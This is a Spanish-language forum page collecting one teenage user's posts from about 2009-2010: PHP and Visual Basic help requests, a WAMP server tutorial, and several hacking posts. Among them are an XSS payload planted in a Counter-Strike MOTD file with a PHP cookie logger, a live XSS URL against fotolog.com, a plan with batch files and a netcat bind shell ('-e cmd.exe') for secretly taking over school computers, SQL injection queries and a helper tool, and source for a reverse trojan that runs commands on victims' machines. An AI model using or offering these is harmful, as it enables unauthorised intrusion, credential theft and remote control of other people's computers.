Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - fede_cp

#1
Bueno resulta que estaba haciendo un proyecto, y lo que quiero es que el tono de un color (al igual que se cambian los colores de ojo), se cambie de: por ejemplo, violeta a blanco...

Pero no se cambia a blanco sino a gris, alguien tiene alguna idea de porque?


Pd:esta en colores RGB


saludos
#2
Viendo unos videos de informatica, una conferencia en argentina que se explica un poco en general todo lo que es bugs a nivel web, desde el atacante.


Aviso: es alrgo duro 1 hs 15 min, pero es interesante.

http://www.youtube.com/watch?v=Ck9yzGPRsU8

saludos
#3
Abril negro / Abril negro, bienvenido...
1 Abril 2010, 07:13 AM
Gentee, le damos al abril negro '10 una fuerte bienvenida, por los que no saben lo que es bueno, google.com.


a ver que presentan, que herramientas buenas, y eso si, se pueden hacer cosas que no se pueden como en cualquier mes.


a Lammer earh


saludos
#4
Foro Libre / Y elhackerblog, No murio!
9 Enero 2010, 20:38 PM
Aca de nuevo para la gente que me habia dicho, y el blog que paso?.

bueno aca esta, nuevo diseño, andan los comentarios. y ahora si!, todo actualizado.

a los que no entienden o no vieron el post hace unos meses en el blog está explicado.


por favor, comenten a ver que les parece.

http://elhackerblog.blogspot.com/



Saludos!


PD:Entrada: Agradecimientos a kamsky
#5
PHP / A los viejitos en PHP y Mysql :P
27 Diciembre 2009, 06:32 AM
Bueno, despeus de leer bastantes tutoriales y ya tener alguna base de php y mysql, necesito saber, a los mas experimentados, como seria mejor y rapido, hacer una especie de juego-navegador.

que seria lo mas recomendable para usar, osea obviamente lo hago en php, pero para tener una idea de como seria


saludso!
#6
Nivel Web / Counter strike MOTD.txt
23 Diciembre 2009, 00:45 AM
Bueno gente,el que alguna vez tubo un server de counter strike, sabe que el archivo MOTD.txt contiene ese especie de "portada", al iniciarse en un server.

aca el code del MOTD.txt

Código (html4strict) [Seleccionar]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>Cstrike MOTD</title>
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
    }
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
    text-decoration:    underline;
}
a:link  {
   color:  #FFFFFF;
   }
a:visited   {
   color:  #FFFFFF;
   }
a:active    {
   color:  #FFFFFF;
   }
a:hover {
   color:  #FFFFFF;
   text-decoration:    underline;
   }
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.net</a>
</pre>
</body>
</html>


Supongo que sabran que significara todo esto, o lo habran visto alguna vez.

Entonces dije, CARAJO, porque no me di cuenta antes, y buen empeze a "tocar" un poco todo y aqui esta el code con los cambios.

Código (html4strict) [Seleccionar]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>caca</title>
<script>alert("scripting")<script>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://localhost/web.php?cookie=">
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
    }
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
    text-decoration:    underline;
}
a:link  {
   color:  #FFFFFF;
   }
a:visited   {
   color:  #FFFFFF;
   }
a:active    {
   color:  #FFFFFF;
   }
a:hover {
   color:  #FFFFFF;
   text-decoration:    underline;
   }
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.com</a>
</pre>
</body>
</html>


le puse que se redireccione, a web.php, para sacar cookies, que todavía no me salio nose porque.

aca web.php:

Código (php) [Seleccionar]
<html>
<head>
<title>Xss re pillo</html>
</head>
<body>
<?php
$ip 
$_SERVER['REMOTE_ADDR'];
$userAgent $_SERVER['HTTP_USER_AGENT'];
$cookie $_GET['cookie'];
$scuandal "ip-víctima:" $ip " sistema operativo:" PHP_OS " -Servidor :" $_SERVER['SERVER_NAME'] . " [+] info del server: " $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff fopen("archivo.txt","a");
fwrite($fff"$scuandal \n");
fclose($fff);
?>

<script>window.location='http://localhost/web.php?cookie='+document.cookie;</script>
</body>
</html>


y  :o, observen archivo.txt

ip-víctima:127.0.0.1 sistema operativo:WINNT -Servidor :localhost
  • info del server: Apache/2.2.11 (Win32) PHP/5.3.0

    lo probe con un amigo y me da su info

    obvio que info del server va a ser mi info jajja

    bien se peude sacar info por php, pero ahora la gran pregunta, si tantos navegadores poseen bugs, como mozilla,IE, aunque no sea un navegador completo, seria una especie, tendria que tener bugs si son permitidos tambien estos tipos de cosas.

    nadie sabe donde se encuentra el "navegador", donde se carga el MOTD.txt

    si alguien tiene ganas de buscar, que tenga un poco mas de idea podemos sacar algo de provecho a esto.

    PD:Es una mezcla entre bugs y exploits a nivel web-hacking-y bugs y exploits jajaja

    saludos
#7
Sistema de administracion Incasoft

Gente, como menciono anteriormente castg, hicimos como un sistema de administracion con "fecha de entrega", y bueno se me paso un poquito  ;-),pero por fin pude terminarlo, No pude ordenar el codigo, asique si ven algunas cosas repetidas, no lo digan porque ya se que me falta depurar y demas.

ahora me gustaria que verifiquen, el diesño y ademas la seguridad.

algunas fotos

Instalacion!



Esa es la parte numero dos de la instalacion.

ya logueado !



y ahora el protafolio!



PD: La seguridad esta solo hecha del usuario visitante para abajo, nose si me entienden, osea dentro del sistema de adminsitracion ya logueado , si hay problema de seguridad, si alguien tiene ganas de arreglarlo joya, pero ya el bocho no me daba mas.

tambien nose si se dieron cuenta, pero portafolio.php esta dentro de la carpeta de administracion pero bue, no es para USARLO el sistema sino para que lo prueben y vean como es.

por favor traten de bajarlo e instalarlo que costo mucho laburo, encima la instalacion es una boludes, ademas de que es muy rapida.

aca todos los codes:

Codigo del sistema!

saludos!


#8
PHP / Problema con str_replace
15 Diciembre 2009, 17:57 PM
bueno estoy terminando mi sistema de admin, pero no puedo realizar una funcion en la que se pone la url de la web, y queda almacenada pero esta, no debe tener el "http://"

entonces primero hice un ereg, y en las pruebas funcionaba. pero al pasarlo al sistema no.

entonces puse el str_replace y tampoco osea, queda el link http://http://google.com.

aca el code de lo que digo:

Código (php) [Seleccionar]
$url = $_POST['url'];
$url = eregi_replace("http://","",$url); /* o $url = str_replace("http://","",$url) (da igual*/
$img_link = $_POST['img-link'];
$desc = $_POST['desc'];
$nombre = $_POST['nombre'];
$palabra = $_POST['palabra'];
$fecha = date("d-m-y");
$cons = "INSERT INTO info_sitios (descripcion,link,sitio,url,palabra_carc,fecha) VALUES ('$desc','$img_link','$url','$nombre','$palabra','$fecha')";
mysql_query($cons, $conexion);


nose cual es mi error

saludos!
#9
PHP / Problema con string de consulta a bbdd
9 Diciembre 2009, 03:27 AM
buen, resulta que quiero hacer una consulta con WHERE a un id (que es una variable), pero me da parse error, y probe con un monton de cosas, nose porque me lo sigue dando, aver si me dan una mano.

code:

Código (php) [Seleccionar]
$consulta3 = "SELECT sitio FROM info_sitios WHERE id = '".$tot2[0]."'");


que, buen gente saludos

espero que me puedan ayudar
#10
Desarrollo Web / Creando un servidor web con WAMP
2 Diciembre 2009, 02:25 AM
Creando nuestra PC en Servidor Web.

Bueno gente en este tutorial, se va a explicar como se podría crear un servidor Web "casero" destinado a Windows, con nuestra propia PC. Para esto es necesario instalar la compilación de MySQL, Apache, y PHP. Este programa se Llama WAMP.

Muchos de por aquí lo de deben conocer porque es muy práctico a la hora realizar pruebas locales.

Antes de seguir leyendo, es necesario leer un poco, de que se trata PHP, MySQL, y Apache, para saber aunque sea que están instalando en su disco duro ¬¬.

Entonces, ¡Manos a la obra! A instalar WAMP, primero que nada descargamos el ejecutable desde la Web oficial: http://www.wampserver.com/en/download.php.

Al terminar de descargar el .exe, ejecutarlo y se van a encontrar con la siguiente imagen:


---Next



Aceptan términos y condiciones, y dan a next.



Les preguntan en que directorio quieren instalar WAMP, por mi preferencia en C:/WAMP, y sino se la cambian y dan a next.



Les pregunta si quieren un icono en el escritorio, eligen lo que quieren.



Da un resumen de todas sus preferencias, y si esta todo OK, click en install.


Se instala...



Va a salir un cartel para elegir el navegador preferido, eligen obviamente el preferido (mozilla para mi gusto), y dan a abrir.



En esta parte dejen todo como esta, o pongan el mail del dominio, igualmente se puede cambiar en un futuro, dan a next.



Listo, la instalación de WAMP está terminada, dan a finish y luego, ejecutan WAMP.



Para comprobar que la instalación de WAMP, ha sido correcta, se dirigen hacia el navegador, y colocan: 127.0.0.1, o localhost...

http://localhost
o
http://127.0.0.1

Tendrían que tener un pantallazo algo así:



Posibles errores:

Probablemente si estas detrás de un router, no funcione en la primera, sino que para que funcione como servidor, en cualquier puerto, en nuestro caso el 80, es necesario redireccionar dicho puerto a la IP local. Para esto es necesario entrar a la configuración del router, entrar en la sección de mapeo (NAT), y agregar el puerto deseado y la IP local de la computadora, luego reiniciar el router.

Si funciona correctamente ir a: Configurando nuestro Server.

Pantallazo:



Si se mantiene el Server como "Server offline" o servidor desactivado, vayan al icono de WAMP, hagan un solo click, luego, despliegan el menú horizontal de "apache", luego desplieguen "service", y si el servicio dice "Run/continue service", como para apretar, hagan click sobre él, si no pasa absolutamente nada, o sigue igual, o da algún tipo de error, prueben con dar en probar puerto 80, si hicieron eso y les da un pantallazo parecido al siguiente continúen.



Esto se da porque el puerto 80 esta siendo usado por otro programa, tal como antivirus, etc.

Si les ha pasado todo esto XD, vayan donde instalaron WAMP, abran la carpeta "bin", después la carpeta "apache", luego Apache2.2.11, o la version que tengan,  luego
"conf", y abran el archivo: httpd.conf.
El directorio donde se contiene ese archivo en mi caso seria:

C:\wamp\bin\apache\Apache2.2.11\conf

Luego en el archivo abierto buscan la siguiente línea: "Listen 80".

Y lo cambian por "Listen 8080", de la siguiente manera:



Y luego lo guardan.

Ahora cierran WAMP, lo abren nuevamente, y tendría que decir "Server active" o "servidor activo".

También si no funciona fíjense que diga Apagar Server, osea, que esté prendido ¬¬.

Para comprobar que funcione, vayan al navegador, y prueben con:

http://localhost:8080

Entonces, debería aparecer algo así como el pantallazo del principio.

PD: No es recomendable para el futuro seguir con esta configuración, lo mejor es utilizar el puerto 80, ya que sino la Web, va a ser: www.webejemplo.com:8080

Configurando Nuestro Server para Internet

Bien, por ahora ya tenemos configurado nuestro Server para usarlo localmente, solo cambiando algunas cosillas en el firewall, lo tendremos andando en Internet.

Lo primero que debemos hacer es ya en esta instancia tener configurado el Server en el puerto 80, en su defecto quedaría como antes nombre.

Lo que deben hacer ahora es deshabilitar del firewall, el puerto utilizado (en mi caso el 80).
Para ello van al panel de control-firewall de Windows-Excepciones-Luego clic en "Agregar puerto", agregan el puerto deseado, ponen un nombre, y listo.
Si ya han deshabilitado el firewall de Windows y OTROS firewalls, entonces poniendo su IP pública, ejemplo http://190.23.23.23:puerto, si utilizan el 80 no es necesario, obviamente poner el: puerto.

Tendría que aparecer la Web como si fuera en localhost, pídanle a un amigo que pruebe para ver si se ve algo.
Si es así, van por buen camino, y sino pregunten por acá en el foro cual es su situación.

Ya tenemos nuestro Server creado, una buena idea para dirigir a las personas y no tener que ir "rastreando" nuestra IP, es crear un dominio NO-IP, e ingresar desde allí.

No es mi deber explicar como se crea un dominio NO-IP, ya que hay muchos tutoriales por ahí en la red.

Espero que haya servido de utilidad el tutorial.

mas tartde pongo colores y esas cosas.

Saludos!
#11
Nivel Web / XSS encontrado en fotolog.com
19 Noviembre 2009, 04:29 AM
Así es, justo llendome a dorimir, hago un pruebita para ver si fotolog tenia algunas restricciones de caracteres: pero me encontre en una que no las tenia.

y bueno aqui esta:

http://account.fotolog.com/language?redirect=%22%3E%3Cscript%3Ealert%28%22XSS%20encontrado%20por%20fede_cp%22%29%3C/script%3E


saludos!
#12
Diario de un alumno en clase de informatica

Gente, este es un post, en el que venía pensando hace tiempo y bueno, aca lo estoy haciendo. Trata de algo asi como una anecdota, o
algo "planeado" para una intrusion en las PC, de las computadoras de la escuela en la clase de informatica en la clase (no intervenir
desde una casa), para despues molestar o simplemente para matar el aburrimiento en la clase.

Esto podría ser:Un acto verídico (ya pasado), algo todavía no realizado (pero real).

NO romper lo siguiente: No se puede inventar el "escenario". Es decir algo que pasó o un escenario existente (no revelar cual XD).


Bueno empiezo con el mío:

14 computadoras (corriendo windows), en red (cable :P), una maquina server (windows server 2000)

Resulta que en clase empeze a pensar alguna forma de ir teniendo el control de las Pc de la clase, lo primero que se me ocurrió ( y que tengo bien claro)
es el netcat, hacer multiples conexiones (directas), hacia mi PC, y ahi tener una shell, y por ende, una especia de control total
comenzé a investigar, y se encontraban algunas carpetas compartidas, y razoné que se podría "sacar jugo", entonces fui a la carpeta compartida
y luego hice 3 archivos(en mi casa los cree obviamente), dos, tienen que estar en la pc vicitma.

1º archivo:coloca el netcat en system32 y se ejecuta
2º archivo:se registra la ejecucion de un archivo (netcat a la escucha), que esta en una carpeta compartida

ejecuto los 2 archivos, y entonces estaría funcionando, la mision, solo hace falta hacer un: net view, y conectarse

pero para la ejecucion de estos archivos tiene que ser por acceso fisico (que no es un gran problema, es solo ir a la carpeta compartida
y ejecutarlos).

ARCHIVOS:
1º archivo:coloca el netcat en system32 y se ejecuta.

lo tengo en .exe (lo compile con el quick batch compiler)
es facil su funcionamiento copia de %MYFILES% a system32
y lo ejecuta

2º archivo:se registra la ejecucion de un archivo (netcat a la escucha), que esta en una carpeta compartida.
Código (dos) [Seleccionar]
@echo off
copy "D:\Misdoc\fede\intrusion escuela\base.bat" "%userprofile%\Men£ Inicio\Programas\Inicio\"
exit


simplemente eso.

3º archivo:ejecucion de un archivo (netcat a la escucha)

Código (dos) [Seleccionar]
@echo off
start nc.exe -L -d -e cmd.exe -p 6000
exit


simplemente eso.

Diagrama:


Como pueden ver es muy sencillo, programitas programados en batch.

si se preguntan porque los primeros dos archivos no los hice en uno solo:es porque ya lo habia intentado antes y me daba
siempre algún error.

asique decidi hacerlo por partes.

bueno aca termina, espero que no sea la ultima anecdota, o plan de intrusión.
en mi caso, todos los datos son veridicos, pero todavía no fue probado, vuelvo de un viaje :D y lo pruebo.

si no tienen ninguna anecdota lo que pueden hacer es como mejorrar, o facilitar, o para no tener que estar fisicamente en la pc ¬¬, a los planes estos, y si se llego hacer en la realidad por favor decir como salió todo obviamente.


PD: tengo 14 años dentro de todo esta bien jajaja
saludos
#13
Nivel Web / [Tool] Sql injection Helper 2.0
3 Octubre 2009, 00:33 AM
[Tool] Sql injection Helper 2.0


Bueno gente, se me pasó un poco la "fecha de entrga" de la nueva version de sql injection helper  :¬¬.
Esta version es la 2.0, se han arreglado mas de 10 errores, alertas de sobrecargo (en el caso de ennumerar) y se han agregado algunas cosillas más.

una vez mas:
Se trata de una herramienta "ayudante" para las sql injections, no automatiza la sql injection, sino que por ejemplo: para enumerar 30 columnas, pones la primera y las enumera solas, en las columnas transforma el nombre de la tabla en ascii, y la coloca automaticamente.

Es básicamente para el que está aprendiendo y el que no tambien, pero repito de nuevo no automatiza las consultas y te dice el admin y ya esta  :xD, solamente es un compañero que te ayuda.

Tambien en esta nueva version, tiene una nueva herramienta que lo que hace es sacar información útil para realizar una consulta exitosa, tambien tiene para sacar el cartelito "ilegal..."

Bueno dejo los tips de las funciones:

*Enumeracion de columnas.
*Realiza la consulta para imprimir las tablas
*realiza las consulas para imprimir las columnas
*transforma la tabla en ascii
*dir de la Bd
*version de la bd (muy importante)
*nombre de la Bd


Imagenes:




Como dije antes: Es un programa muy basico, principalmente se base en el tratamiente de cadenas de texto y algunas funciones más que estan buenas.
Proximamente saldrá la version 2.1 un poco mas depurada y tmabien resueltos más errores.

para los que quieren ver el codigo: esta todo "sucio" ya que queria presentarlo de una vez por todas, la proxima version estará en limpio  ;)

El programa es muy útil para principiantes; resuelve muchas dudas.

Links:

Programa : http://www.megaupload.com/?d=0YGKNOET

Codigo fuente [vb 6.0] : http://www.megaupload.com/?d=97AE7CZ0
#14
hola todos, les traigo la siguiente consulta, un amigo me pidio si me hechaba una mano para ver si podia safar que quiebre su equipo en un jueguito online, es posible ( si se tiene mas de un equipo) entrar a uno de estos con un proxy (tal como TOR) y hacer que no te descubran... o directamente no te dejan entrar con proxy... o que pasaria??

podria ser una solucion.. ( el equipo esta casi 7000 en el ranking mundial ( mas de un millon y medio)) jajaja


espero que me puedan ayudar.

saludosª!!
#15
Estaría bueno que haya una funcion para que, cada uno elija los mensajes que quiera que le aparezcan como nueva respuesta, ya que por ejemplo, siempre se me renueva el de "presentate aqui si eres nuevo"  :-(,, ajja

eso estaria bueno que lo implementen

saludos!
#16
Nivel Web / truquito para las sql injections
20 Septiembre 2009, 20:35 PM
jeje es un truco algo bobo, pero tardas menos tiempo al hacer la consulta

es asi:
por ejemplo: al igual que listas tablas con :limit 1,1

tambien podes listar por ejemplo si tiene usuarios en vez de : wehere id = 1

podes hacer limit 1,1

ej:

www.ejemplo.com/notiicas.php?id=1,2,3,usuarios,5,6,pass from usuarios where id = 1

tmabien podes hacer

www.ejemplo.com/notiicas.php?id=1,2,3,usuarios,5,6,pass from usuarios limit 1,1

yta se que no tiene mucha importancia.

pero porai a alguien le sirve, o solamente para aprender

saludos!
#17
bueno gente, la verdad que me quede trabado en una cosa, resulta que estoy haciendo una aplicacion que trabaja con cadenas de texto. y resulta que necesito haer un replace pero solo en una parte de la cadena

osea trabaja asi: ahce un for to, hacia un numero x, los numeros se ordenan separados con comas y despues con un command, de esa cadena reemplazar solo un numero. por ej:

queda en el text:

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

y lo que hice fue hacer un replace a por ejemplo 1 ... text1.text = replace(text1.text , 1, "table_name")

pero me va a reemplazar a todos los 1, eso lo solucione agregando replace(text1.text , 1 & "," & 2, "table_name") pero en 21,22 me queda: 2table_name,2

entienden lo que quiero hacer??

estuve todo una semana buscando, pero no encuentro una funcion similar

la verdad que estoy trabado :S
#18
Nivel Web / Tool: Sql injection Helper By fede_cp
3 Septiembre 2009, 16:53 PM
Sql injection Helper version 1.0

Bueno Gente en estos último 3 dias, estuve haciendo una herramienta que iba a ser de uso personal pero la comparto en el foro.
Se trata de una herramienta "ayudante" para las sql injections, no automatiza la sql injection, sino que por ejemplo:para enumerar 30 columnas, pones la primera y las enumera solas, en las columnas transforma el nombre de la tabla en ascii, y la coloca automaticamente.

Es básicamente para el que está aprendiendo y el que no tambien, pero repito de nuevo no automatiza las consultas y te dice el admin y ya esta  :xD, solamente es un compañero que te ayuda.

obviamente este version es muy básica, en la proxima version va a tener: anti restricciones, concat, pondras la url y apartir de ahi trabaja (sin automatizar la consulta).

Utilidades:
*Enumeracion de columnas.
*Realiza la consulta para imprimir las tablas
*realiza las consulas para imprimir las columnas
*transforma la tabla en ascii

screen form inicial


Sreen ejemplo:


Link: Descargar Sql injection Helper Aqui!

PD: no es mas version Beta, es la version 1.0 ofiicial, fueron reparados algunos errores.
Es una herramienta muy sencilla, pero en una de esas te sirve.

saludos!
#19
se lo digo a ustedes que conocen al photoshop como la palma de su mano, hice lo que pude con el fondo(si hay consejos o idea bienvenidas sean ;D)
el logo me quedo bastante bien, el tema es el fondo

el blog es www.elhackerblog.blogspot.com

saludos
#20
alguno de por aca debe saber que fuente se utilizo para hacer el logo de elhacker.net, alguien tiene idea,porque no la encuentro.

saludos
#21
bueno gente, se me ocurrio la idea de hacer un blog tributo a elhacker.net y bueno todo la idea esta en la primera entrada del blog

www.hackerel.blogspot.com

lean la primera y unica entrada para ver de que se trata y despues posteen aca en el foro, proque sino no entienden nada :huh:

y si quieren saber porque el nombre esta en la primera entrada tambien  :xD

saludos
#22
Bueno gente , postee hace muy poco mi duda sobre como hacer para que de un exe poniendo los datos en variables se impriman en el otro codigo (server) osea un edit server como hizo cobain, pero como estoy empezando estoy con algunos problemas

se trata de un form con tres textbox un command para que el archivo pruebas.exe cambie sus valores a otro tres text.

y los mas cómica no es eso sino que cuando llegan los datos el primer text llega un extraño MZ  :o y los otros dos en blanco, la verdad ni idea.

buen aca el code del primer form:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Open "C:\prueba.exe" For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Put #1, , c
Close #1
End Sub

Private Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
a = Text1.Text
b = Text2.Text
c = Text3.Text
End Sub


muy simple jajaj

y ahora el prueba.exe

Código (vb) [Seleccionar]
Private Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
Dim d As String * 25
Dim ap As String
Dim bp As String
Dim cp As String
Open "C:\prueba.exe" For Binary As #1
Get #1, , a
Get #1, , b
Get #1, , c
Seek (1), LOF(1) - 74
Close #1
ap = Trim(a)
bp = Trim(b)
cp = Trim(c)
Text1.Text = ap
Text2.Text = bp
Text3.Text = cp
End Sub


tengan en cuenta que para mi es esto nuevo, igualmente busque bastante, pero postee la duda antes y no se no contestaron mucho.

gracias (post 100 ;D)
#23
Bueno aca me encuentro ane este problema que se trato con anterioridad pero no se termino de completar como se hacia , el problema es este, estoy haciendo mi troyano llamado Snorlax y me falta hacer la parte para crear el servidor , osea ya se que los .exe no pueden generar otros .exe , pero tengo entendido que con el control commondialog algo se podia hacer, aca va mi duda, los .exe (cliente y servidor) hay que juntarlos en un mismo .exe para que se pueda hacer la creacion del server ,porque un troyano esta compuesto por un cliente y un servidor, osea dos codigos, entonces dos .exe, pero los troyanos comunes son 1 solo exe, que "crean" otro .exe, que enrealidad no lo crean sino que pasan las variables de la IP, el puerto y demas,

entonces estoy trabado ahi, como hacer para crear el servidor desde un .exe (ya vi los codigo de dioxis, el joiner de EON y demas) a crear el servidor, una ayuda por favor que me falta eso (y algunas cosas mas  :P) para terminar snorlax



un saludo
#24
Nivel Web / Problemas sql injection
1 Julio 2009, 22:34 PM
buen estaba haciendo una sql injection y se me presento el siguiente problema:

busco el nombre de tablas y el nombre va separado en guiones por ejemplo: sql-inection-ejemplo y despues sigo buscando tablas y si por ejemplo tiene una sola palabra entonces va asi: --ejemplo y si tiene dos palabras va : -sql-injection

ahora cuando quiero seleccionar la tabla para buscar las columnas no se que ascii poner, por ejemplo para --ejemplo,tendria que poner:

-1 union all select 1,column_name,1,2,5,6,8,9 from information_schema.columns where table_name = char(0150,0150,101,106,101,109,112,108,111) and column_name
like char(37,97,37)

donde los 0150 son los guiones, pero ahora hay algo mal ahi, no me tira error sino que no me aparece nada y si le pongo otros caracteres al nombre de la table tmapoco me aparece ningun error.

quiero saber que es lo que estoy haciendo mal


un saludo
#25
bueno hace muy poco habia presentado un problema que decia algo asi como "exe final no recibe los datos"

pero nadie respondio  :huh:
pero ahora es distinto ya que no era que no recibía los datos,sino que las condiciones que habia no se cumplian asique no pasaba nada, pero enrealidad tendrian que cumplirse el codigo es asi

Código (vb) [Seleccionar]
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If


el problema esta en los "and"!!, necesitaria saber si se puede reemplazar por otra cosa o si esta mal usado como usarlo correctamente!

adios y espero que alguien me ayude esta vez :P
#26
bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:
Código (vb) [Seleccionar]
Option Explicit
Public WithEvents server As CSocketMaster

Private Sub Form_Load()
Set server = New CSocketMaster
server.CloseSck
server.RemoteHost = "ip-ip-ip-ip"
server.Connect server.RemoteHost, 6000
End Sub

Private Sub Label1_Click()
If server.State = sckConnected Then
Label1.Caption = "conectado"
ElseIf server.State = sckClosed Then
Label1.Caption = "desconectado"
ElseIf server.State = sckConnecting Then
Label1.Caption = "conectando"
End If
End Sub


Private Sub Timer1_Timer()
If server.State = 0 Then
server.Connect server.RemoteHost, 6000
ElseIf server.State = 7 Then
Else
server.CloseSck
End If
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim res As String
Dim res1 As String


server.GetData datos



Select Case LCase(Split(datos, "|")(0))

Case LCase("mensaje")

If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If
    '''''


''''''''''''

''''''''''''
End Select

End Sub


cliente:
Código (vb) [Seleccionar]
Option Explicit
Public WithEvents ws As CSocketMaster

Private Sub Check2_Click()
If Check2.Value = 1 Then
Check3.Enabled = False
ElseIf Check2.Value = 0 Then
Check3.Enabled = True
End If
End Sub

Private Sub Check3_Click()
If Check3.Value = 1 Then
Check2.Enabled = False
ElseIf Check3.Value = 0 Then
Check2.Enabled = True
End If
If Check3.Value = 1 Then
Option1.Enabled = False
Option2.Enabled = False
Option3.Enabled = False
Option5.Enabled = False
Text6.Enabled = False
End If
If Check3.Value = 0 Then
Option1.Enabled = True
Option2.Enabled = True
Option3.Enabled = True
Option5.Enabled = True
Text6.Enabled = True
End If
End Sub

Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
'''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
ws.SendData datos

End Sub

Private Sub Command2_Click()
ws.CloseSck
ws.LocalPort = Text2.Text
ws.Listen
Text2.Enabled = False
End Sub

Private Sub Form_Load()
Set ws = New CSocketMaster
End Sub

Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If ws.State = sckConnected Then
Label5.Caption = "Conectado"
ElseIf ws.State = sckClosed Then
Label5.Caption = "Desconectado"
ElseIf ws.State = sckConnecting Then
Label5.Caption = "Conectando"
End If
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub


ya se que es muy engorroso pero alguno que tenga ganas  ;)

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos
#27
Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Código (vb) [Seleccionar]
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String

server.GetData datos

Select Case LCase(Split(datos, "|")(0))

Case LCase("mensaje")

'''''''''''''


If (Split(datos, "|")(2)) = 1 Then
        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
     '''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!

''''''''''''

Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
       
End If
''''''''''''
End Select

End Sub


cliente :
Código (vb) [Seleccionar]
Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
